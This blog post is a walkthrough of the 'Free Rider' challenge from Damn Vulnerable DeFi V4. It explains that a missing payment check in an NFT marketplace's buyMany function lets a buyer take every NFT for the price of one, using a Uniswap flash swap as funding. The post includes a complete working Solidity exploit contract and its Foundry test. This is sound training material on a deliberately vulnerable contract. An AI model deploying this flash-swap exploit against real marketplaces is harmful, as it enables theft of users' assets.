Challenge 10: Free rider, Damn vulnerable defi V4 lazy solutions series

Siddharth PatelSiddharth Patel
5 min read

Why Lazy?

I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.

Problem statement:

We’re given 1 NFT market place, which has some severe vulnerability reported. so to rescue all the tokens and all funds, they’ve deployed dedicated smart contract for recovery process.

The Smart Contracts

FreeRiderNFTMarketplace

FreeRiderNFTMarketplace is a NFT marketplace which offers functionality of offering and buying NFT, also can be done in bulk using offerMany and buyMany.

FreeRiderRecoveryManager

FreeRiderRecoveryManager is a dedicated smart contract deployed to give bounty to user who recovers all NFTs from FreeRiderNFTMarketplace. It works in a way that once any user recover all NFTs and then all NFTs have to transfer to FreeRiderRecoveryManager contract then it’ll transfer 45 ETH bounty to address after some basic checks. Which address to transfer bounty is derived as per passed data in bytes in parameters. so we’ll have to take care while passing appropriate data which will decoded as intended address.

Also we’ve given,

uniswapV2Pair

uniswapV2Pair contract is liquidity pool of DVT tokens and weth. which will be helpful to us for some funds to execute transactions.

The Vulnerability

The vulnerability in the FreeRiderNFTMarketplace smart contract relies on buyMany function. buyMany is used to buy NFTs in bulk which internally use buy function which has implementation of buying a single NFT. If you see buyMany closely then you’ll found out there are no checks of msg.value with collective paying price of NFTs. It just calls buy function which checks msg.value with price of that particular nft.

So, it means we can buy as many as NFTs by paying a price of NFT which is costliest one.

With this bad approach, let’s consider we want to buy 3 NFTs of id 1, 5 and 8 which has corresponding price 2, 5 and 4 ETH. we can simply buy all of 3 by paying just 5 ETH. It’s self explanatory and doesn’t need any diagram to understand but still I am bored so I drew one.

Pseudo code is from contract itself.

Also in our case, every NFT has same price so we can buy all NFTs by paying only 1 NFT price which is 15 ETH.

The Attack Strategy

We are going to attack at vulnerable part by calling buyMany function with all NFT ids. but here problem is, even single NFT costs 15 ETH but we have only 0.1 ETH.

So, we’ve to borrow some ETH from somewhere and then we’ll attack NFTs, will transfer to RecoveryContract to gain Bounty of 45 ETH, from which we will return borrowed amount. that’s it.

From where we should borrow?
Flashloan?
but we don’t have any Flashloan provider.

Flashswap?
Yessss!!!

We do have uniswapV2Pair contract which facilitates flashswap(swap). Interestingly every swap we do on uniswap is flashswap. but to activate flash nature, we’ve to pass extra byte in the last param, which stats that this swap is flashswap.

So, we’ll take 15 ETH from uniswapV2Pair first —> spent it to buy all NFTs —> Transfer NFTs to RecoverContract and get paid 45 ETH bounty —> Repay borrowed 15 ETH to uniswapV2Pair in uniswapV2Call callback function.

If you don’t know what’s flashswap then please read https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps

Solution

test/free-rider/FreeRiderExploiter.sol

pragma solidity =0.8.25;


import {WETH} from "solmate/tokens/WETH.sol";
import {IUniswapV2Pair} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {FreeRiderNFTMarketplace} from "../../src/free-rider/FreeRiderNFTMarketplace.sol";
import {FreeRiderRecoveryManager} from "../../src/free-rider/FreeRiderRecoveryManager.sol";
import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {Test, console} from "forge-std/Test.sol";

// contract FreeRiderExploiter is IUniswapV2Callee, IERC721Receiver{
contract FreeRiderExploiter is IERC721Receiver{
    WETH weth;
    IUniswapV2Pair uniswapPair;
    FreeRiderNFTMarketplace marketplace;
    DamnValuableNFT nft;
    FreeRiderRecoveryManager recoveryManager;
    address owner;

    // The NFT marketplace has 6 tokens, at 15 ETH each
    uint256 constant NFT_PRICE = 15 ether;
    uint256 constant AMOUNT_OF_NFTS = 6;


    constructor(
        WETH _weth,
        IUniswapV2Pair _uniswapPair,
        FreeRiderNFTMarketplace _marketplace,
        DamnValuableNFT _nft,
        FreeRiderRecoveryManager _recoveryManager
    ) payable {
        weth = _weth;
        uniswapPair = _uniswapPair;
        marketplace = _marketplace;
        nft = _nft;
        recoveryManager = _recoveryManager;

        owner = msg.sender;
    }

    function attack() public {
        uniswapPair.swap(NFT_PRICE, 0, address(this), new bytes(1));

        payable(owner).transfer(address(this).balance);
    }

    function uniswapV2Call(
        address sender,
        uint amount0,
        uint amount1,
        bytes calldata data
    ) external {

        uint256[] memory ids = new uint256[](AMOUNT_OF_NFTS);
        for (uint i = 0; i < ids.length; ++i) {
            ids[i] = i;
        }
        weth.withdraw(weth.balanceOf(address(this)));
        marketplace.buyMany{value: NFT_PRICE}(ids);

        for (uint i = 0; i < ids.length; i++) {
            nft.safeTransferFrom(address(this),address(recoveryManager), i, abi.encodePacked(bytes32(uint256(uint160(owner)))));
        }


        uint amountRequired = amount0 + 1 ether;
        weth.deposit{value: amountRequired}();
        assert(weth.transfer(msg.sender, amountRequired)); // return WETH to V2 pair
    }

    function onERC721Received(
        address,
        address,
        uint256 _tokenId,
        bytes memory _data
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }

    receive() external payable {}
}

Code here is very basic, importance is it’s flow.

Also note that,

  • how we are triggering flash swap by providing new bytes(1)(extra byte) in last parameter. you can go through official code of swap function to understand it better.

  • how we are providing bytes which will be decoded as bounty receiver address. while transferring NFTs to Recovery manager contract.
//Encoding (owner address --> bytes32)
bytes memory _data = abi.encodePacked(bytes32(uint256(uint160(owner))))
//Decoding (bytes32 --> address)
address recipient = abi.decode(_data, (address));

test/free-rider/FreeRider.t.sol

    /**
     * CODE YOUR SOLUTION HERE
     */    
     function test_freeRider() public checkSolvedByPlayer {

        FreeRiderExploiter exploiter = new FreeRiderExploiter{value:PLAYER_INITIAL_ETH_BALANCE}(
            weth,
            uniswapPair,
            marketplace,
            nft,
            recoveryManager
        );

        exploiter.attack();
    }

Let's see it in action,

forge test --mp test/free-rider/FreeRider.t.sol

Succeed!🔥💸

Incase if you need all solutions,

https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions

0
Subscribe to my newsletter

Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Siddharth Patel
Siddharth Patel

I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.